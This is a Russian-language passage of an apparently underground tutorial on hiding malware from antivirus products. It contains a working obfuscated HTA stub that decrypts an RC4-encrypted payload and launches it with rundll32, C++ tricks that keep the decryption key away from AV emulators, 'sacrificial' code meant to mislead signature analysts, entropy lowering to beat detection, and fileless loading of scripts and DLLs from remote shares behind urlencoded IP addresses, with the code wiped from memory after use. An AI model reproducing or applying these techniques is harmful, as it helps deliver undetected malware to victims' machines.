На экран построчно будут выведены несовпадающие байты.
Если файлы совпадут, то утилита fc выведет сообщение о том, что различия не найдены.

Далее рассмотрим стаб, лежащий в файле stub_hta, функция которого это прочитать зашифрованный файл, который мы только скопировали внутрь него, расшифровать его и запустить:

Код:
<script language="vbscript">
function v(a):dim i:redim b(lenb(a)):for i=1 to lenb(a):if ascb(midb(a,i,1))<16 then:b(i-1)="0"+hex(ascb(midb(a,i,1))):else:b(i-1)=hex(ascb(midb(a,i,1))):end if:next:v=b:end function
</script>

<script language="javascript">
function h(a){b='';for(i=0;i<a.length/2;i++){b+=String.fromCharCode('0x'+a.substr(i*2,2));}return b;}
function u(k,a){var s=[],j=0,r="";for(var i=0;i<256;i++)s[i]=i;for(i=0;i<256;i++){j=(j+s[i]+k.charCodeAt(i%k.length))%256;x=s[i];s[i]=s[j];s[j]=x;}i=j=0;for(var y=0;y<a.length;y++){i=(i+1)%256;j=(j+s[i])%256;x=s[i];s[i]=s[j];s[j]=x;r+=String.fromCharCode(a.charCodeAt(y)^s[(s[i]+s[j])%256]);}return r;}
function l(p){var b=new ActiveXObject("adodb.stream");b.type=1;b.open();b.loadfromfile(p);var w=b.read;b.close();var c=v(w).toArray();var a=c.length;c.length=a-1;return c;};
function w(a,b){var c=new ActiveXObject("adodb.stream");var d=new ActiveXObject("adodb.stream");c.type=d.type=2;c.open();c.writetext(b);c.position=0;d.charset='ISO-8859-1';d.open();c.copyto(d);d.savetofile(a,2);c.close();d.close();};


z=h(l(location.pathname).toString().substr(1295*3,100000000).replace(/,/g,""));
z=u("passw12345", z);
w("aaaa.dll", z);

var i=new ActiveXObject("WScript.Shell");i.run("rundll32 aaaa.dll, TestAPI");
</script>

Внутри функций с именами "h", "l", "w" размещаются раннее уже подробно рассмотренные операции для работы с файлами, преобразованием шестнадцатеричных строк в байтовые массивы и т.д.
Эти функции записаны в компактном и обфусцированном виде, именно так как их хранят в реальных эксплоитах.
Все переменные и имена функций делаются из одной буквы, весь скрипт записывается в одну строку. Пробелы и символы табуляции убираются везде где это возможно сделать.
Максимальная компактизация программного кода нужна для того, чтобы бы было как можно меньше возможных сигнатур. Этот принцип ещё называется detection surface reduction (уменьшение поверхности детектирования).

Иногда к такому компактному коду приписывают дополнительный программный код, специально для того, чтобы его записали как сигнатуру.
Основной код делают максимально неудобным для того, чтобы составить для него сигнатуру, например трудным для описания его с помощью скрипта составленного из YARA-правил.
А дополнительный приписанный код ("жертвенный" код) делают максимально удобным для детекта.
В результате аналитик видит удобное место для описания сигнатуры и оформляет сигнатуру на специально подсунутый ему код, а главный код, который специально сделан неудобным для такой работы, остаётся нетронутым.
И когда наш файл начинает детектится мы просто отбрасываем "жертвенный" код и ставим на его место новый, заблаговременно запасённый.
В результате получаем очень быструю чистку файлов и оперативный выпуск апдейтов.
Но так будет работать до поры до времени, пока в вирлабе не осознают в чём дело, и не поставят сигнатуру на основной рабочий код. После этого уже нужна будет долгая и упорная чистка.

Всего лишь единственное здесь отличие от других аналогичных JScript/VBScript скриптов это наличие функции шифрования RC4.
В данном примере это функция u(k,a).
И чтобы добавить в любой JS/VBS скрипт функционал для расшифровки пейлоада, зашифрованного в RC4, нужно всего лишь после операции считывания пейлоада в буфер добавить вызов этой функции, для расшифровки этого буфера.
То есть доработка любого скрипта до возможности работать с шифрованным пейлоадом делается путём добавления в скрипт всего лишь двух строк.
Первая строка эта функция u(k,a) в однострочной записи.
И вторая строка это вызов этой функции в нужном месте.
Больше для доработки ничего не требуется.

Как и для любых симметричных шифров, для RC4 можно реализовать метод RDA (Random Decoding Algorithm).
С помощью этого метода можно сделать так, чтобы ключ не хранился внутри программного кода.
В декрипторе вместо прописывания ключа размещается процедура подбора ключа, и ключ к зашифрованному пейлоаду подбирается с помощью брутфорса.
В этом случае для алгоритма RC4 ключ делается минимальной длины, то есть равный 5 байтам.
Скорость перебора можно регулировать, сужая или расширяя диапазон возможных значений ключа, либо увеличивая/уменьшая длину ключа.
Временем, затрачиваемым на расшифровку пейлоада таким способом, можно достаточно точно управлять.
Можно задавать паузу, которая вызвана расшифровкой пейлоада, от нескольких секунд до нескольких минут.
AV принципиально не могут расшифровать такую вещь, так как ключ в програмном коде полностью отсутствует, а самостоятельно брутфорсить шифр AV не могут.

Простейший RDA на C++ будет выглядеть так:

Код:
char* rc4_password = " assword12345";

while(rc4_password[0] != 'P')
{
    rc4_password[0] = GetTickCount();
}

В этом случае первая буква пароля в коде всё таки присутствует, хотя и хорошо спрятана от эмулятора AV.
Но можно сделать так, чтобы она внутри программного кода не содержалась вообще.
Для этого есть ещё один метод борьбы с автоматической расшифровкой - подмешивание к ключу текущего времени.
На С++ это выглядит примерно так:

Код:
SYSTEMTIME systemTime;
GetSystemTime(&systemTime);

char* rc4_password = " assword12345";

rc4_password[0] = 'P' ^ 2 ^ (systemTime.wYear%1000);

У наc есть строка с паролем, в котором один из символов намеренно заменён на заведомо неправильный.
В нашем случае первая буква пароля "P" заменена на пробел.
После этого получаем системное время, в структуре systemTime в поле systemTime.wYear запишется текущий год, пусть это будет 2024.
Делаем целочисленное деление текущего года на 1000, получаем число 2.
Это же число будет тем же самым и для любых других годов - 2025, 2026 и т.д.
После чего происходит вычисление первой буквы пароля по такой формуле: 'P' ^ 2 ^ (systemTime.wYear%1000) = 'P' ^ (2 ^ 2) = 'P' ^ 0 = 'P'
В скомпилированном EXE значение 'P'^2 будет храниться как число 0x52 (как ascii символ 'R', потому что 0x50^2=0x52), но не как символ 'P' (код символа 0x50).
То есть главный смысл в том, что пароль в файле хранится всегда в искаженном виде и непригоден для расшифровки.
И восстановить его в нормальный вид можно только применив к нему некие математические операции с системным временем.
AV обычно системное время не проверяет, потому что это слишком ресурсозатратная операция, если его применять к каждому проверяемому файлу.
В результате всего этого эмулятор AV не может получить доступ к зашифрованным с помощью алгоритма RC4 участкам.

Далее, метод подмешивания системного времени к ключу и метод RDA можно объединить воедино:

Код:
SYSTEMTIME systemTime;
GetSystemTime(&systemTime);

char* rc4_password = " assword12345";

while(rc4_password[0] != 'P' ^ 2 ^ (systemTime.wYear%1000))
{
    rc4_password[0] = GetTickCount();
}

Теперь первая буква пароля 'P' нигде не присутствует в открытом виде внутри программного кода.
Это вариант простейшей, самой примитивной реализации RDA.
Далее всё можно усложнить - например, эту же операцию сделать не с первой буквой пароля, а со всеми его буквами.
Можно так же вычислять хеш расшифрованных данных (например MD5 ил SHA) и сверять его с эталонным хешем, и делать так до тех пор пока хеш с расшифрованными данными не совпадёт с хешем снятым перед расшифровкой.
Тогда можно пароль не хранить внутри программнорго кода даже частично, а просто делать последовательный перебор вариантов, например от "AAAAA" до "ZZZZZ".
Время перебора можно регулировать, ставя пароль либо ближе к началу диапазона допустимых значений (например пароль равен "BBBBB") либо к ближе концу диапазона (пароль равен "YYYYY").

Теперь остановимся на таком понятии шифра, как величина энтропии.
Для шифрованных данных характерен высокий уровень этого показателя, для нешифрованных низкий.
Поэтому можно программно выявлять факт наличия зашифрованных данных, что и делает AV при сканировании файлов.
По этой величине AV может детектировать участки файла с повышенной энтропией, и на такие участки падает подозрение о том, что там было применено шифрование.
Например, в самом конце EXE-файла записаны шифрованные данные - значит у этого блока данных будет высокий уровень энтропии, он будет максимально большим.
У самого же EXE файла, в конец которого мы приписали шифрованные данные, он будет значительно ниже.
Изначальный размер файла AV получает из заголовка PE, из поля IMAGE_SIZE.
AV разбивает файл при проверке на две части, одна размером равная IMAGE_SIZE, вторая равная Размер_Файла - IMAGE_SIZE.
Затем подсчитывает энтропию первой и второй частей, и сравнивает их.
Если величина энтропии первой части будет такая же как и для большинства EXE файлов, а у второй части максимальная, то AV обоснованно считает что это закриптованный файл.
Так AV детектит самую распространённую схему крипта - стаб в виде EXE-файла, в конце которого записан зашифрованный оверлей с криптуемым файлом.
И на такие файлы ваыдаётся детект, потому что такое строение нехарактерно для легитимных файлов, но сплошь и рядом встречается для криптованных.
Больше всего детектов по такой схеме даёт Avira, она обычно детектирует такие файлы под именами типа Gen.Crypted и тому подобных.
И если увидели детект с подобным именем, то сразу же стоит предположить, что здесь проблема в высокой энтропии зашифрованных данных.

Теперь разберём что вообще означает слово "энтропия", и почему по её величине можно заметить, подвергались ли данные процессу шифрования или нет.
Энтропия это мера неопределённости, меру неупорядоченности и мера непредсказуемости.
И, как следствие этого, этого количество возможных значений, которые может принимать тот или иной объект.
Допустим, подбрасывание монетки и результат её подбрасывания - "орёл" или "решка", это всего 2 возможных состояния, а значит низкая величина энтропии.
И колесо рулётки с её множеством возможных состояний, это уже более высокий уровень энтропии, более высокий уровень непредсказуемости и неопределённости.

Допустим у нас есть текстовый файл на английском языке, раз он текстовый то в нём мы можем встретить только 26 заглавных и 26 прописных букв, всего 52 возможных варианта (знаки препинания и пробелы не учитываем).
Если взять случайный байт из этого файла, то вероятность угадать какая это будет буква равна 1 к 52, это и будет считать количественной мерой энтропии (на самом деле она считается по-другому, но для понимания сути примем такой способ подсчёта).
Теперь берём некий зашифрованный файл, и видим, что произвольно выбранный байт в этом файле может принимать любые значение, то есть от 0 до 255. Вероятность угадать произвольно выбранный байт в этом случае равняется 1 к 255.
Тогда получаем, что энтропия зашифрованных данных в 4 раза выше энтропии текстового файла (255 поделили на 52).
Так мы пришли к количественной оценке величины энтропии.

Для сравнения, скриншоты окна HEX-редактор типичного текстового файла и типичного зашифрованного файла:

encrypted_file_hex_view.png

text_file_hex_view.png


Сразу видна разница в диапазоне возможных значений, который может принимать каждый отдельный байт.

Сейчас мы измерили энтропию одного байта, представив её как вероятность принятия этим байтом значения из допустимого для него диапазона значений.
Теперь измеряем энтропию файла, целиком состоящего из таких отдельных байт.
Сначала делаем массив от 0 до 255 - массив из 256 элементов, каждый элемент представляет собой одно из значений отдельно взятого байта.
Назовём этот массив bytesDistibution, в этом массиве мы получим картину распределения байт в файле.
Проходим весь файл, байт за байтом. В массиве bytesDistibution увеличиваем на единицу элемент массива, соответствующий значению байта.
Например, встретили байт со значение 100, делаем так: bytesDistibution[100] += 1
Так, пройдя этим способом весь файл целиком, в массиве bytesDistribution мы получим таблицу распределения встречающихся байт в файле.
Эта полученная таблица и будет отображать энтропию не отдельного байта, а уже набора данных.
По этой таблице можно построить гистограмму, так мы получим визуальное представление об энтропии того или иного набора данных.

Для наглядного представления энтропии различных файлов нанишем простой небольшой скрипт на Питоне, который считывает файл и рисует гистограмму с частотным распределением байт в этом файле:

Код:
import seaborn as sns
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt

with open("testfile.txt", "rb") as test_file: entropy_data = list(test_file.read())
sns.histplot(data = entropy_data, kde=True)
plt.show()

Для текстового файла эта гистограмма будет выглядеть так:

entropy_txt_file.png


В этой гистограммме по горизонтальной оси отложены возможные значения байт, то есть числа от 0 до 255, а по вертикали то, сколько раз эти байты встретились в файле.
Для текстового файла эта гистограмма, представляет кривую линию, некие два "горба". Первый горб образован значениями байт, зарезервированными для букв алфавита.
Второй горб это символы знаков пунктуации, пробелы и тому подобные разделительные текстовые символы.
На "горбе" с алфавитными символами можно встретить отдельные выступы вверх - это те буквы, которые статистически встречаются в тексте чаще всего, например буквы "a" и "e".

И теперь построим аналогичную гистограмму для файла, зашифрованного алгоритмом RC4:

entropy_encrypted_rc4_file.png


Тут явное отличие, мы видим просто близкую к прямой линию, образованную вершинами столбцов гистограммы.
Чем больше объём зашифрованных данных, тем более эта линия будет близка к прямой.
Неоднородности этой линии это статистические погрешности, из-за небольшого объёма данных (на этой гистограмме изображена энтропия небольшой зашифрованной DLLки).
Если объём данных будет размером пару десятков мегабайт, то там уже появится просто сплошная ровная линия, без искажений.
Чем выше уровень энтропии данных, тем ближе к прямой будет линия на такой гистограмме.
Идельно ровная прямая на данной гистограмме говорит об отсутствии каких-либо определённостей и закономерностей в распределении значений байт.
В то же время, любой изгиб линии говорит о наличии какой-то скрытой закономерности.
И если эта линия энтропии у какого-то набора зашифрованных данных отличается от прямой, это говорит об уязвимостях или ошибках реализации применённого криптоалгоритма.
Анализ энтропии это один из основных элементов криптоанализа и взлома шифров.
К вопросу о том, как иногда в вирлабах удавалось расшифровать файлы, зашифрованные локерами, и выпускать универсальные декрипторы для файлов.
Примерно вот таким способом анализировалась энтропия и выявлялись неоднородности в полученной линии энтропии, и отталкиваясь от этих неоднородностей искали ошибки в реализации криптоалгоритма.
По найденным ошибкам можно было сильно сократить время брутфорса.
Большинство ошибок было в неправильной реализации ГСЧ (генератор случайных чисел).
Практически всегда его инициализировали через API GetTickCount()
Это функция, которая возвращает количество миллисекунд начиная от старта Windows.
Эта величина <b>очень предсказуемая</b> - потому что точно известно время запуска локера и время запуска виндовс, а стало быть известно и значение GetTickCount в момент старта локера.
В результате этого, генератор случайных чисел, проинициализированный через GetTickCount, превращается в генератор определённых чисел.
Он начинает выдавать детерменированную, заведомо предсказуемую последовательнось чисел.
И вся криптосистема, построенная на таком ошибочном ГСЧ, моментально сыпется.
Подобные ошибки были на заре становления протокола SSL, когда ГСЧ инициализировался библиотечной функцией mktime() из стандартной библиотеки C++.
Эта функция, которая выдаёт количество секунд прошедшее с 1970 года, порождала такую же проблему, что и функция GetTickCount в виндовс.
Главный вывод из всего этого: <b>ГСЧ, используемый в криптографии, нельзя инициализровать с помощью функций системного времени</b>.
Количество микросекунд от какого-то события, текущая дата и время, количество тиков с момента загрузки системы - всё это использовать для криптографического ГСЧ нельзя.
Отсюда идёт и тот замысловатый способ сбора случайных данных, который применяется в OpenPGP - там нужно хаотично водить мышью по экрану, нажимать случайные кнопки на клавиатуре и т.д.
То есть используются способы получения случайных чисел, исключающие привязку к системному времени.

Посмотрим ещё на энтропии различных файлов.
На этом скриншоте показана энтропия EXE файла (файл putty.exe):

entropy_exe_file.png


Сразу видны 2 пика, нулевые байты и байты 0xFF, которых всегда много внтури EXE файлов. Для EXE файлов характерно наличие большого избыточного пространства, которое запоняется этими байтами.
И соотношение количества этих байт к общему размеру будет всегда примерно одинаковым.
Есть и ещё другие характерные наборы байт, например байт с кодом 0xB8.
С этого байта начинается ассемблерная команда mov для пересылки данных, а это наиболее часто встречающаяся команда. Поэтому этот байт будет встречаться чуть чаще остальных.
Так AV иногда выявляют исполняемые файлы, которые идут внутри большого потока данных. AV стоящие на почтовых серваках, серверные шлюзы и т.д.
Здесь дан ответ на вопрос: я у своего EXE удалил MZ-сигнатуру и забил первые 50 байт нулями, но файлы всё равно почему-то режутся, как AV их определяет что они исполняемые ?
Энтропию EXE-файла нужно скорректировать так, чтобы она была равна энтропии безопасного типа файлов, например была такая же как и у PDF-файлов.

На следующем скриншоте показана энтропия ZIP-архива с файлом putty.exe:

entropy_zip_file.png


Линия энтропии точно такая же, как и на зашифрованном файле.
Операция архивации так же повышает энтропию до максимума, как и операция шифрования.

На этих скриншотах мы видим, что <b>каждый тип данных имеет свою характерную энтропию</b>, и по энтропии можно определить что это за данные.
По линии энтропии можно определить типы файла: EXE, текст или архив.
Но самое главное это то, что и малварь имеет свою определённую энтропию, по которой её можно задетекить.
Поэтому уровень энтропии у собранного нами продукта нужно корректировать, маскируя его под легетимные данные.

Измерение уровня энтропии зашифрованного набора данных мы сделали, теперь о том, как можно этим уровнем <b>управлять</b>, меняя его в нужное нам значение.
Самое простое что можно сделать это после каждого байта шифра ставить нулевой байт.
Да, размер шифрованных данных в этом случае увеличится ровно в 2 раза, но энтропия при этом резко упадёт и детект слетит.
Основной принцип сбития энтропийного детекта таков: <b>неопределённый набор данных нужно разбавить байтами с высокими уровнями определённости</b>
В только что приведённом примере мы можем точно сказать, что каждый второй байт будет являться нулём, таким образом мы добавили в набор данных <b>определённость</b>, и суммарная энтропия от этого упала.

Разбавляя зашифрованные данные таким способом можно подогнать уровень энтропии так, чтобы она совпадала со средней энтропией, например, текстовых или PDF файлов.
Быстрое сравнение энтропии двух файлов можно сделать с помощью архиватора. Если у них будет равный уровень энтропии, то они ужмутся примерно до одинакового размера.
Берём текстовый файл, сжимаем его архиватором. Берём зашифрованный файл с искуственно сниженной энтропией и так же сжимаем его архиватором.
Сравниваем два этих архива, если размер примерно одинаковый значит получилось то что надо.

Ещё более точный метод подгонки энтропии это исползование YARA-правил.
В этом случае мы получим именно тот способ измерения энтропии, который используется AV, потому что YARA-движок или его аналоги среди них очень распространёны.
Подробно о движке YARA я писал в этой статье: http://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/106507/
Подсчёт энтропии файла на языке YARA выглядит так:

Код:
import math
math.entropy(0, filesize) >= 7

Значение энтропии "7" стандартно стоит в большинстве AV.
Шифр с искуственно изменённой энтропией можно проверять на качество с помощью данного YARA-правила, на файле не должен сработать детект с этим YARA-правилом.
В данном YARA-правиле функция entropy измеряет энтропию всего файла целиком. Первым параметром идёт "0" - это начало места измерения, то есть начало файла.
Переменная filesize встроена в YARA, она в неё помещает размер текущего проверяемого файла.
Например, проверить есть ли в конце файла шифрованные данные можно вот таким способом:

Код:
import math
math.entropy(filesize - 1024, filesize) >= 7

Это YARA-правило подсчитает энтропию последнего килобайта файла, и выдаст детект, если она выше безопасного порогового значения.

HTA-файлы и движок HTA-подсистемы mshta.exe

Очень популярный формат для доставки пейлоада это файлы с расширением *.hta, использующие подсистему Windows HTA (Hyper Text Application).
Идея гипертекстовых приложений в Windows заключается в том, что мы можем объединить стандартную браузерную HTML разметку и встроенные скриптовые языки Windows, которые позволяют делать то, что недоступно из браузерных скриптовых яхыков (работу с файлами, доступ к базам даных и т.д.).
Например, нам нужно быстро сделать некоторое приложение, в котором в виде формы задаётся запрос к базе данных, и результаты этого запроса сохраняются в отдельный файл.
Средствами HTA такое приложение можно написать намного быстрее, чем на том же C++.
Но в то же время возможность доступа к низкоуровневым операциям (работа с файлами или с командной строкой) делает этот формат очень хорошим носителем для пейлоадов.
А широкие возможности HTML-разметки позволяют после запуска отобразить качественный контент для отвлечения внимания (так называемый decoy content).
Например, после запуска пейлоада, в HTML разметке показываем логотипы, картинки, хорошо отформатированный текст, отображаем всякие разнообразные формы для ввода чего-либо и так далее.

HTA файлы в проводнике Windows ведут себя так же как и обычные исполняемые файлы - при двойном клике на них запускается содержимое *.hta файла без всяких посторонних сообщений.
Единственный недостаток HTA файлов это иконка, похожая на EXE:

hta_in_explorer_view.png


Но в остальном, как будет видно дальше, у *.hta файлов будут одни сплошные плюсы, которые делают их популярным файловым форматом для доставки пейлоада.

Мы не случайно начали рассмотрение в первую очередь скриптовых WSH-форматов, по той причине что все эти скриптовые форматы могут быть внедрены в HTA-файл.
Скрипты прописываются внутри HTA-файла таким же способом, как и в HTML разметке:

Код:
<script>
alert("Test message from javascript");
new ActiveXObject("wscript.shell").run("cmd /c start notepad&start calc");
</script>

Но есть и некоторые отличия, как видно в вышеприведённом примере.
В этом примере мы использовали оператор alert из javascript, выводящий тестовое собщение на экран.
И в то же скрипте одновременно с ним использовали метод JScript с именем WScript.Shell, для запуска калькулятора и блокнота.
Получается, что в HTA скриптах можно использовать 2 скриптовых движка одновременно: JScript и Javascript.

Для использования VBScript нужно задать тип языка в параметре language.

Код:
<script language="VBScript">
msgbox "Hello from VBSCript"
</script>

Если параметр language не задан, то по умолчанию используется скриптовый движок JScript.
Если задать параметр language в одном теге скрипт, а в последующих за ним не задавать, то аттрибут language сохраняется для всех последующих тегов.
Например:

Код:
<script language=vbscript>
msgbox"Message from vbscript N1"
</script>

<script>
msgbox"Message from vbscript N2"
</script>

Здесь в первом скриптовом теге мы задали язык как VBScript. После этого значение language, приписанное предшествующему тегу, будет автоматически прописано всем последующим за ним тегам.
В следующем теге язык не указан. Он в этом случае не будет по умолчанию равен языку JScript. Ему будет присвоен язык предыдущего тега, то есть VBScript.

Так же можно использовать только что рассмотренные кодированные VBE/JSE скрипты:

Код:
<script language="VBScript.Encode"><!--
msgbox"Msg from uncoded script"
#@~^IwAAAA==hko8K6,JK/D~:/dlT+~WMW:,#AUmDb2OJmgwAAA==^#~@
--></script>

Для кодированных скриптов актуальны те же особенности, что и для VBE/JSE файлов.
Например то, что скрипты кодируются не целиком, а построчно.
А так же то, что можно использовать некодированные операторы одновременно с кодированными операторами.
В этом примере мы первый месседжбокс выводим на VBScript, а второй на VBScript.Encode
Как для кодированных фрагментов, так и для некодированных возможна однострочная запись через разделитель двоеточие ":"
Например ак:

Код:
<script language="VBScript.Encode"><!--
msgbox"Msg from uncoded script":#@~^IwAAAA==hko8K6,JK/D~:/dlT+~WMW:,#AUmDb2OJmgwAAA==^#~@
--></script>

Так же как и в стандартной HTML-разметке в HTA можно задать внешний файл для содержимого скрипта:

Код:
<script language=VBScript.Encode src=a.jpg></script>

Расширение файла можно задать любое, в данном случае мы замаскировали файл под изображение в формате JPG.
Скриптовый движок HTA определяет тип скрипта по параметру language, и по этой причине расширение файла игнорирует - оно может быть любым.

Возможен бесфайловый способ запуска с расшаренной папки на удаленном сервере:

Код:
<script language=VBScript src=\\X.X.X.X\shared_folder\q.jpg></script>

В этом случае скрипт на целевом компьютере будет отсутствовать.
В этом случае между тегами <script> можно написать любые данные, они всё равно будут проигнорированы скриптовым интерпретатором:

Код:
<script language=VBScript src=\\your_ip_\webdav\q.jpg>
Garbage Garabge Garbage Garabge
Garbage Garabge Garbage Garabge
</script>

Но ещё лучшее решение это написать там заведомо безопасный скрипт, а ещё лучше заведомо безопасный скрипт с валидной цифровой подписью.

HTA-файлы похожи на WSF-файлы, так как в них есть возможность делать скриптовые пакеты на разных языках и объединять их воедино.
Например, мы можем сделать присваивание переменной на JScript, а её вывод на экран на VBScript.
Выглядеть это будет так:

Код:
<script language=jscript>
var a = "Test msg"
</script>

<script language=vbscript>
msgbox a
</script>

Этот же пример мы можем переделать с указанием внешнего источника скриптового кода, с помощью параметра src:

Код:
<script src=\\X.X.X.X\some_folder\setvar.jpg></script>
<script language=vbscript.encode src=\\Y.Y.Y.Y\some_shared_folder\printvar.jpg></script>

В первой строке мы обратились к VBS-скрипту, расположенному на удалённой расшаренной папке под именем setvar.jpg. В этом скрипте мы присволили переменной с именем "a" тестовую строку "Test msg".
Во второй строке мы обратились уже к другой расшаренной папке, на другом сервере, к скрипту уже написанному для другого скриптового движка (для vbscript.encode).
И в этой второй строке делается вывод на экран переменной "a", которой мы присвоили значение в предыдущей строке, сделав это путём вызова удалённого скрипта.
Этим коротким примером продемонстрировано межскриптовое взаимодействие. Скрипты на разных языках, расположены в разных источника - и при этом они прекрасно взаимодействуют меджду собой.
В конечном итоге, весь скрипт для запуска пейлоада можно записать таким образом, чтобы каждая его строка находилась в отдельном файле и эти файлы были рассредоточены по разным серверам.
Например вот так:

Код:
<script src=\\ip_address1\string_number_1.jpg></script>
<script src=\\ip_address2\string_number_2.jpg></script>
...
<script src=\\ip_addressN\string_number_N.jpg></script>

Берётся N серверов, где N это количество строк в пусковом скрипте. Каждую строку размещаем в отдельном файле и загружаем этот файл в расшаренную папку, открытую на каждом из этих серверов.
Кроме того, что этот метод будет бесфайловым, он ещё и будет распределённым по сети. Выполнение скрипта будет рассосредоточено между серверами - на каждом сервере будет выполняться по одной строке.
Этот метод очень хорошо прячет скрипты от AV, такое они детектить не умеют.
В этом случае AV в качестве сигнатур прописывает IP-адреса, пути, имена файлов - но это всё легко чистится, просто поменяв имена файлов, пути и замаскировав IP адрес.
IP-адреса маскируются через метод urlencode. Например, нам нужно замаскировать внутри HTA скрипта IP-адрес "123.123.123.123", тогда записываем его так:

Код:
<script src=file://%31%32%33.%31%32%33.%31%32%33.%31%32%33\webdav\setvar.vbs></script>

Обязательно указываем префикс "file://", для того чтобы можно было воспользоваться возможностями urlencode, которые присутствуют в протоколе "file://".
IP-адрес записываем с помощью шестнадцатеричных кодов символов, написав перед кодом знак процента "%".
Например, строка "123" будет записана тремя шестнадцатеричными символами "%31%31%33".
Строку с IP адресом можно так же закодировать частично, написав отдельные символы в форме urlencode и без него:

Код:
<script src=file://%31%32%33.123.%31%32%33.123\webdav\setvar.vbs></script>

Кроме IP-адресов так же можно кодировать и имена папок и файлов. В следующем примере кодируем через urlencode буквы "e" и "a" в слове "webdav":

Код:
<script src=file://%31%32%33.123.%31%32%33.123\w%65bd%61v\setvar.vbs></script>

А так же кодируем точки, разделяющие байты IP-адреса и отделяющие расширение от имени файла (точку заменяем на строку "%2E"):

Код:
<script src=file://%31%32%33%2E123%2E%31%32%33%2E123\w%65bd%61v\setvar%2Evbs></script>

У метода распределённого по сети скрипта, конечно же, есть и недостаток. Если хотя бы с одним из серверов возникнет проблема, то тогда будет несрабатывание. И вероятность несрабатывания будет прямо пропопорциональна количеству серверов.

Этот же метод хранения распределённого по сети кода очень эффективен для софта, написанного на C++.
Весь функционал софта разбивается на множество DLLок, и эти DLLки помещаются в расшаренные папки на разных серверах.
Главный исполняемый файл, тот что приходит на комп, представляет собой компактный PE-файл (DLL или EXE), основная функция которого вызывать эти DLLки по заранее запрограммированной схеме.
В этом случае сам програмный код физически не присутствует на компьютере, он подгружается с помощью API LoadLibary с удалённого сервера следующим образом:

Код:
LoadLibrary"(\\\\123.123.123.123\\some_folder_name\\\\testdll.jpg");

Обратите внимание на имя файла (testdll.jpg) - функция LoadLibrary игнорирует расширение и это даёт возможность маскировать DLL под картинки или какие-либо другие безопасные файлы.
Это очень эффективный способ чистки от AV - разбиваем весь функционал софта на несколько десятков DLLок, рассредоточиваем их по сети, и затем подгружаем эти DLLки функцией LoadLibrary и переданным ей UNC-путём.
После того как DLLка будет подгружена и выполнит свою часть функционала её нужно обязательно выгрузить, чтобы она не присутствовала в памяти и не задетектилась там.
Поэтому как только подгруженная DLL заверишит свою работу обязательно выгружаем её из памяти с помощью API FreeLibrary.
Но это ещё не всё - для того чтобы полностью удалить DLL из памяти одного лишь вызова FreeLibrary недостаточно, необходимо сделать ещё ряд действий.
FreeLibrary всего лишь помечает DLL и её область памяти как больше не используемую, но при этом сам образ DLL в памяти остаётся, до тех пор пока он не будет перезатёрт при следующем выделении блока в памяти.
Поэтом внутри каждой DLL нужно сделать механизм стирания собственного кода из памяти при получении сигнала о выгрузке DLL.
Сигнал о выгрузке DLL получаем стандартным образом - сообщение DLL_PROCESS_DETACH в главном цикле обработки сообщений DllMain.
Как только DLL получает этот сигнал, она с помощью функции memset или ZeroMemory затирает всё что можно затереть внутри себя - забивает нулями секцию .text, секцию .data и т.д.
При этом в DLL нужно на всех секциях обязательно выставить аттрибут "W", означающий что в эту область памяти разрешена запись.
Обнуление отдельного блока памяти с определённой длиной лучше делать так:

Код:
if (! IsBadWritePtr(bufferToCleanup,bufferSize)) ZeroMemory(bufferToCleanup, bufferSize);

То есть сочетанием функций IsBadWritePtr и ZeroMemory, а не одной только ZeroMemory.
Функция IsBadWritePtr проверяет весь буфер на доступность для записи, и только после того как пройдёт такая проверка делаем затирание нулями.
Если затирать только лишь одной функцией ZeroMemory, то тогда мы можем попасть на адрес недоступный для записи и словить ошибку с кодом 0xC0000005 ERROR_ACCESS_DENIED.

Другими словами, при высвобождении DLLок происходит такая же вещь как и при стирании файлов. При стирании файл физически не удаляется с диска.
Файл просто помечается как больше неиспользуемый в файловой системе.
Но физически он не удалется и может быть восстановлен до того момента, как он будет перезатёрт какой-либо файловой операцией.
То же самое происходит и при вызове FreeLibrary - DLL во внутренних таблицах памяти помечается как выгруженная и больше не используемая, но физически в памяти он остаётся и может быть задетектена AV.

Так же вместо забивания кода и данных DLL нулями можно пойти и более сложным путём - заполнять всё не просто ноликами, а кодом и данными, взятыми из легитимных DLLок.
Если последовательность вызовов таких DLLок не слишком сложная, то вместо EXE/DLL файла можно использовать BAT-файл. BAT-файл будет значительно безопаснее в плане детектов.
DLL из BAT/CMD файла (а так же из HTA и тому подобных файлов, получив доступ к командной строке) можно вызывать двумя способами: с помощью утилиты rundll32 и с помощью утилиты regsvr32:

Код:
regsvr32 //123.123.123.123/some_path/test1.dll
rundll32  //123.123.123.123/some_path/test2.dll,dllmain

У DLL которая запускается через regsvr32 в экспортах обязательно должна быть функция DllRegisterServer.
DLL всё равно загрузится, даже если этой функции не будет, но при этом будет выведено сообщение об отсутствии данной функции, что совсем нежелательно.
У rundll32 помимо пути к DLL указываем через запятую функцию из DLL, которую хотим запустить.
В данном примере этой функцией является точка входа DLL со стандартным имнем dllmain.
Весь функционал лучше всегда размещать не в DllMain, а в какой-либо экспортируемой функции, по той причине что точку входа AV проверяют в первую очередь, а до экспортируемых функций проверка может попросту и не дойти.

Так же в DLL можно замаскировать экпортируемую функцию, сделав его вызов не по имени, а по порядковому номеру (ординалу функции).
В этом случае имя функции будет отсутствовать, что увеличивает скрытность.
Ординал для какой-либо можно присвоить путем прописывания его в DEF-файле, например так:

Код:
LIBRARY testdll
    EXPORTS
        testProcOrdinal @ 100 NONAME

В этом примере для DEF-файла мы для функции testProcOrdinal прописали ординал со значением 100.
Теперь чтобы вызвать эту функцию с номером орлинала 100 через rundll32 мы должны её вызов написать так:

Код:
rundll32 testdll.dll,#100

То есть после запятой вместо имени экспортируемой функции пишем символ "#" и за ним номер ординала функции.

Для HTA-файлов можно сделать ещё большее разбиение на части: вместо одного HTA-файла, содержащего ссылки на удалённые скрипты на серверах, можно сделать набор HTA-файлов, в каждом из которых будет по ссылке на соответствующий скрипт.
При таком способе получится ещё большая фрагментация HTA-скрипта, и, следовательно, ещё большие сложности для детекта AV.
Все эти HTA файлы можно вызывать из батника с помощью двух команд: mshta и только что рассмотренной rundll32.

С помощью mshta вызов HTA-скрипта очень простой, единственный параметр командной строки содержит в себе имя hta файла, который нужно вызвать:

Код:
mshta test.hta

Так же на старых версиях виндовс можно вызывать скрипты мз NTFS потоков, например так: mshta "testfile.txt:file.hta"
Но на новой полностью пропатченной Windows 10 этот способ уже не работает.

Вызов с удалённой расшаренной папки выглядит так:

Код:
mshta \\123.123.123.123\script.hta
